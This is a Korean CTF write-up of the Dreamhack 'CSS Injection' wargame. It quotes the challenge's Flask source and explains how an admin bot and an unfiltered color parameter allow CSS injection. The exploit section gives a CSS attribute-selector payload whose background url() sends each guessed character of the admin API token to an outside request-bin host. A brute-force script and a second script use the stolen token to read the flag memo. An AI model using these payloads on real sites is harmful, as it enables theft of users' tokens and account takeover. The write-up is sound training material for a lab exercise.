[Dreamhack] Level 3: CSS Injection

1. 문제

https://dreamhack.io/wargame/challenges/421

CSS Injection

 

2. 해결 과정

(1) 코드 분석

전체 코드

#!/usr/bin/python3
import hashlib, os, binascii, random, string
from flask import Flask, request, render_template, redirect, url_for, session, g, flash
from functools import wraps
import sqlite3
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from promise import Promise

app = Flask(__name__)
app.secret_key = os.urandom(32)

DATABASE = os.environ.get("DATABASE", "database.db")

try:
    FLAG = open("./flag.txt", "r").read().strip()
except:
    FLAG = "[**FLAG**]"

ADMIN_USERNAME = "administrator"
ADMIN_PASSWORD = binascii.hexlify(os.urandom(32))


def execute(query, data=()):
    con = sqlite3.connect(DATABASE)
    cur = con.cursor()
    cur.execute(query, data)
    con.commit()
    data = cur.fetchall()
    con.close()
    return data


def token_generate():
    while True:
        token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
        token_exists = execute(
            "SELECT * FROM users WHERE token = :token;", {"token": token}
        )
        if not token_exists:
            return token


def login_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        if session and session["uid"]:
            return view(**kwargs)
        flash("login first !")
        return redirect(url_for("login"))

    return wrapped_view


def apikey_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.headers.get("API-KEY", None)
        token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
        if token:
            request.uid = token[0][0]
            return view(**kwargs)
        return {"code": 401, "message": "Access Denined !"}

    return wrapped_view


@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, "_database", None)
    if db is not None:
        db.close()


@app.context_processor
def background_color():
    color = request.args.get("color", "white")
    return dict(color=color)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "GET":
        return render_template("login.html")
    else:
        username = request.form.get("username")
        password = request.form.get("password")
        user = execute(
            "SELECT * FROM users WHERE username = :username and password = :password;",
            {
                "username": username,
                "password": hashlib.sha256(password.encode()).hexdigest(),
            },
        )

        if user:
            session["uid"] = user[0][0]
            session["username"] = user[0][1]
            return redirect(url_for("index"))

        flash("Wrong username or password !")
        return redirect(url_for("login"))


@app.route("/logout")
@login_required
def logout():
    session.clear()
    flash("Logout !")
    return redirect(url_for("index"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "GET":
        return render_template("register.html")
    else:
        username = request.form.get("username")
        password = request.form.get("password")

        user = execute(
            "SELECT * FROM users WHERE username = :username;", {"username": username}
        )
        if user:
            flash("Username already exists !")
            return redirect(url_for("register"))

        token = token_generate()
        sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
        execute(
            sql,
            {
                "username": username,
                "password": hashlib.sha256(password.encode()).hexdigest(),
                "token": token,
            },
        )
        flash("Register Success.")
        return redirect(url_for("login"))


@app.route("/mypage")
@login_required
def mypage():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": session["uid"]})
    return render_template("mypage.html", user=user[0])


@app.route("/memo", methods=["GET", "POST"])
@login_required
def memopage():
    if request.method == "GET":
        memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": session["uid"]})
        return render_template("memo.html", memos=memos)
    else:
        memo = request.form.get("memo")
        sql = "INSERT INTO memo(uid, text) VALUES(:uid, :text);"
        execute(sql, {"uid": session["uid"], "text": memo})
    return redirect(url_for("memopage"))


# report
@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        path = request.form.get("path")
        if not path:
            flash("fail.")
            return redirect(url_for("report"))

        if path and path[0] == "/":
            path = path[1:]

        url = f"http://127.0.0.1:8000/{path}"
        if check_url(url):
            flash("success.")
        else:
            flash("fail.")
        return redirect(url_for("report"))

    elif request.method == "GET":
        return render_template("report.html")


def check_url(url):
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
        driver_promise.then(
            driver.find_element(By.NAME, "username").send_keys(str(ADMIN_USERNAME))
        )
        driver_promise.then(
            driver.find_element(By.NAME, "password").send_keys(ADMIN_PASSWORD.decode())
        )
        driver_promise = Promise(driver.find_element(By.ID, "submit").click())
        driver_promise.then(driver.get(url))

    except Exception as e:
        driver.quit()
        return False
    finally:
        driver.quit()
    return True


# API
@app.route("/api/me")
@apikey_required
def APIme():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": request.uid})
    if user:
        return {"code": 200, "uid": user[0][0], "username": user[0][1]}
    return {"code": 500, "message": "Error !"}


@app.route("/api/memo")
@apikey_required
def APImemo():
    memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
    if memos:
        memo = []
        for tmp in memos:
            memo.append({"idx": tmp[0], "memo": tmp[2]})
        return {"code": 200, "memo": memo}

    return {"code": 500, "message": "Error !"}


# For Challenge
def init():
    execute("DROP TABLE IF EXISTS users;")
    execute(
        """
        CREATE TABLE users (
            uid INTEGER PRIMARY KEY,
            username TEXT NOT NULL UNIQUE,
            password TEXT NOT NULL,
            token TEXT NOT NULL UNIQUE
        );
    """
    )

    execute("DROP TABLE IF EXISTS memo;")
    execute(
        """
        CREATE TABLE memo (
            idx INTEGER PRIMARY KEY,
            uid INTEGER NOT NULL,
            text TEXT NOT NULL
        );
    """
    )

    # Add admin
    execute(
        "INSERT INTO users (username, password, token)"
        "VALUES (:username, :password, :token);",
        {
            "username": ADMIN_USERNAME,
            "password": hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
            "token": token_generate(),
        },
    )

    adminUid = execute(
        "SELECT * FROM users WHERE username = :username;", {"username": ADMIN_USERNAME}
    )

    # Add FLAG
    execute(
        "INSERT INTO memo (uid, text)" "VALUES (:uid, :text);",
        {"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
    )


with app.app_context():
    init()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

 

(init) 서버가 시작되면서, admin 계정이 생성되고 admin 계정에 메모가 생성된다. 

이때 메모에 플래그가 저장된다. 즉, 플래그는 admin 계정의 메모에 존재한다.

# Add admin
    execute(
        "INSERT INTO users (username, password, token)"
        "VALUES (:username, :password, :token);",
        {
            "username": ADMIN_USERNAME,
            "password": hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
            "token": token_generate(),
        },
    )

    adminUid = execute(
        "SELECT * FROM users WHERE username = :username;", {"username": ADMIN_USERNAME}
    )

    # Add FLAG
    execute(
        "INSERT INTO memo (uid, text)" "VALUES (:uid, :text);",
        {"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
    )

 

회원가입을 하면, username, password, token을 sql에 삽입한다. 

@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "GET":
        return render_template("register.html")
    else:
        username = request.form.get("username")
        password = request.form.get("password")

        user = execute(
            "SELECT * FROM users WHERE username = :username;", {"username": username}
        )
        if user:
            flash("Username already exists !")
            return redirect(url_for("register"))

        token = token_generate()
        sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
        execute(
            sql,
            {
                "username": username,
                "password": hashlib.sha256(password.encode()).hexdigest(),
                "token": token,
            },
        )
        flash("Register Success.")
        return redirect(url_for("login"))

 

토큰은 8자리 소문자로 구성된다. 

def token_generate():
    while True:
        token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
        token_exists = execute(
            "SELECT * FROM users WHERE token = :token;", {"token": token}
        )
        if not token_exists:
            return token

 

mypage에서 토큰값을 확인할 수 있다.

@app.route("/mypage")
@login_required
def mypage():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": session["uid"]})
    return render_template("mypage.html", user=user[0])

 

/report 페이지에서 path를 입력받아 check_url()에 넘긴다. 

# report
@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        path = request.form.get("path")
        if not path:
            flash("fail.")
            return redirect(url_for("report"))

        if path and path[0] == "/":
            path = path[1:]

        url = f"http://127.0.0.1:8000/{path}"
        if check_url(url):
            flash("success.")
        else:
            flash("fail.")
        return redirect(url_for("report"))

    elif request.method == "GET":
        return render_template("report.html")

 

check_url은 admin 계정에 로그인한 뒤 결과값을 리턴해준다. 

1. 로컬의 로그인 페이지 접속 
2. admin 계정으로 로그인 
3. url 접속 

즉, /report 페이지는 admin 계정의 권한으로 페이지를 돌아다닐 수 있도록 해준다.

def check_url(url):
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
        driver_promise.then(
            driver.find_element(By.NAME, "username").send_keys(str(ADMIN_USERNAME))
        )
        driver_promise.then(
            driver.find_element(By.NAME, "password").send_keys(ADMIN_PASSWORD.decode())
        )
        driver_promise = Promise(driver.find_element(By.ID, "submit").click())
        driver_promise.then(driver.get(url))

    except Exception as e:
        driver.quit()
        return False
    finally:
        driver.quit()
    return True

 

/api/me , /api/memo 에 접속하기 위해서는 @apikey_required 부터 통과해야 한다. 

uid의 결과, 해당 값이 user[0][0]일 때에만 200 코드를 리턴해준다 -> admin

즉, admin인 것이 확인되면 users 테이블에서 정보를 출력해주고, memo 테이블에서 메모를 출력해준다. 

# API
@app.route("/api/me")
@apikey_required
def APIme():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": request.uid})
    if user:
        return {"code": 200, "uid": user[0][0], "username": user[0][1]}
    return {"code": 500, "message": "Error !"}


@app.route("/api/memo")
@apikey_required
def APImemo():
    memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
    if memos:
        memo = []
        for tmp in memos:
            memo.append({"idx": tmp[0], "memo": tmp[2]})
        return {"code": 200, "memo": memo}

    return {"code": 500, "message": "Error !"}

 

apikey는 헤더에 있는 API-KEY를 가져와 token(api key)를 확인하고,

해당 계정이 token[0][0], 즉 admin이면 결과를 반환해주고, 아니라면 401 코드를 반환한다.  

def apikey_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.headers.get("API-KEY", None)
        token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
        if token:
            request.uid = token[0][0]
            return view(**kwargs)
        return {"code": 401, "message": "Access Denined !"}

    return wrapped_view

 

즉, 우리는 플래그를 찾기 위해 admin 계정의 memo를 확인해야 한다

(1) api/memo에서는 API-KEY만으로 admin 계정의 메모를 확인할 수 있다. 

(2) 우리는 report로 admin 계정에 접근할 수 있다. 

 

+) 문제에서 대놓고 css injection이라고 명시했지만, 해당 문제를 css injection으로 풀어야 하는 이유를 찾고 싶었다.

아까 코드 분석과정에서 놓쳤던 부분이 있는데 페이지의 배경 color값을 get 요청을 통해 받는다. 

즉, 요청을 통해 브라우저에서 background 컬러(CSS)를 바꿀 수 있으며, 이 부분을 이용해서 css injection이 가능하다는 것을 알 수있다. 

@app.context_processor
def background_color():
    color = request.args.get("color", "white")
    return dict(color=color)

 

쿼리스트링으로 color=yellow를 주니, 배경화면의 컬러가 실제로 바뀌는 것을 확인할 수 있다. 

 

이어서, 테스트를 위해 mnzy/test로 회원가입 후 로그인을 했다. 

/mypage에는 API Token이 바로 출력된다. 

 

개발자도구를 확인해보면 api key가 text로 inputApitoken에 들어가는 것을 확인할 수 있다. 

이처럼 웹 페이지에 직접적으로 보여지는 값은 CSS 선택자(Selector)를 통해 표현이 가능하다. 

공격자가 임의 CSS 속성을 삽입해 웹페이지의 UI (생김새)를 변조하거나 CSS 속성의 다양한 기능을 통해 웹 페이지내의 데이터를 외부로 훔칠 수 있다. 데이터의 예로는 CSRF Token, 피해자의 API Key등 웹 페이지에 직접적으로 보여지는 값처럼 CSS 선택자(Selector)를 통해 표현이 가능해야 한다. 

 

 

정리해보자면 

/mypage에서는 token값을 바로 확인할 수 있다.

따라서, /report 페이지에서 css selector를 이용하여 mypage의 토큰값을 탈취해오는 코드를 작성하면 된다.

(2) 익스플로잇

페이로드는 쿼리값으로 mypage에 접근해서 지정한 서버로 ping을 보내도록 할 것이다. 

특수문자 등에 대한 필터링이 전혀 없으므로, 형식만 잘 신경써서 요청을 보내면 된다. 

우리는 inputApitoken의 value 값이 가장 첫 글자부터 하나씩 가져올 것이다. 

selector 2개를 통해 id와 value값을 지정해주는데, value의 경우 알게 된 문자열 + 시도 문자의 형식으로  token을 알아내도록 할 것이다. -> selector 형식: [attr=value] / [attr^=value]

참고: https://developer.mozilla.org/ko/docs/Web/CSS/Attribute_selectors

 

http://host3.dreamhack.games:21675/mypage?color=white;} input[id=InputApitoken][value^="+curr+token+"] {background: url(https://azcqvch.request.dreamhack.games/"+curr+token+");"}

 

따라서 아래와 같은 코드를 작성하였다.

한 번에 토큰 값을 알아낼 수 있는 코드를 작성하고 싶었는데, 실패해서 한 글자씩 알아내는 코드로 작성해서 하나씩 알아냈다.

글자 알아내면 curr에 수작업으로 추가해야됨..ㅎ

import requests, string

URL = "http://host3.dreamhack.games:12465/report"
curr= ""

for token in string.ascii_lowercase: 
    data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+curr+token+"] {background: url(https://azcqvch.request.dreamhack.games/"+curr+token+");"}
    response = requests.post(URL, data=data)
    print(f"'{token}': Status {response.status_code}")

 

admin의 토큰값을 알아내는데 성공하면, 이 토큰값을 이용해서 api/memo 에 접근할 것이다. 

 

 

이 토큰값을 가지고 api/memo에 요청을 보내어 내용을 파싱해서 플래그값을 추출해낼 수 있다. 

import requests

URL = "http://host3.dreamhack.games:21675/api/memo"
TOKEN = "ykpnimfn"

headers = {
    "API-KEY": TOKEN
}

response = requests.get(URL, headers=headers)

# 응답 확인
if response.status_code == 200:
    print("Request successful!")
    response_data = response.json()
    if response_data['code'] == 200:
        # 메모 데이터 파싱 및 출력
        memos = response_data['memo']
        for memo in memos:
            print(f"Memo index: {memo['idx']}, Memo content: {memo['memo']}")
    else:
        print(f"Error: {response_data['message']}")
else:
    print(f"Failed to fetch data. Status code: {response.status_code}")

 

성공